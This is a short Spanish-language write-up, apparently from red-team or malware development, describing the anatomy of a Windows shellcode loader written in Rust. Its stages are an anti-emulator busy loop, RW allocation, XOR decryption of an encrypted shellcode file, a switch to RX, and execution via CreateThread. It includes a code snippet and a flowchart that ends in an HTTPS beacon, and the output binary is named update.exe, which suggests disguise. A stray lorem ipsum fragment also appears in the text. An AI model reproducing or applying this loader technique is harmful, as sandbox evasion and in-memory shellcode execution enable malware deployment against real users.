Anatomía de un loader
Todo lo descrito aquí se ejecuta únicamente en VMs aisladas con Elastic en modo monitor. Nunca en producción.
Un loader mínimo tiene cinco etapas. Cada una resuelve un problema de evasión distinto.
Etapa 0 — Burn (anti-emulator)
Los emuladores sandboxes detectan loops cortos. La solución: burn_emulator() mezcla cuatro u64 durante 32k × 256 iteraciones con core::ptr::read_volatile para evitar dead-code elimination.
Etapa 1 — Alloc RW
VirtualAlloc(NULL, len, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE). Reserva memoria con permisos de escritura.
Etapa 2 — Decrypt
El shellcode viene cifrado con XOR 0xAB en shellcode.enc. Se copia byte a byte aplicando la key.
En debug build, el halt ocurre antes de CreateThread. No hay beacon activo.
Etapa 3 — Protect RX
VirtualProtect(mem, len, PAGE_EXECUTE_READ, &old). Cambia RW → RX.
Etapa 4 — Execute
CreateThread(NULL, 0, mem, NULL, 0, NULL) corre el shellcode en un hilo nuevo.
let h = CreateThread(
std::ptr::null_mut(),
0,
Some(std::mem::transmute(mem)),
std::ptr::null_mut(),
0,
std::ptr::null_mut(),
);
WaitForSingleObject(h, 0xFFFFFFFF);Diagrama
flowchart TD
A[WinMain] --> B[burn_emulator]
B --> C[VirtualAlloc RW]
C --> D[XOR decrypt]
D --> E[VirtualProtect RX]
E --> F{--debug?}
F -->|yes| G[halt: ExitProcess 0]
F -->|no| H[CreateThread]
H --> I[Beacon HTTPS 443]
H --> J[ExitProcess 0][loader] burn: ok
[loader] alloc: ok
[loader] decrypt: ok
[loader] protect: okLorem ipsum dolor sit amet, consectetur adipiscing elit. La cadena completa mide ~80KB y queda en target/release/update.exe.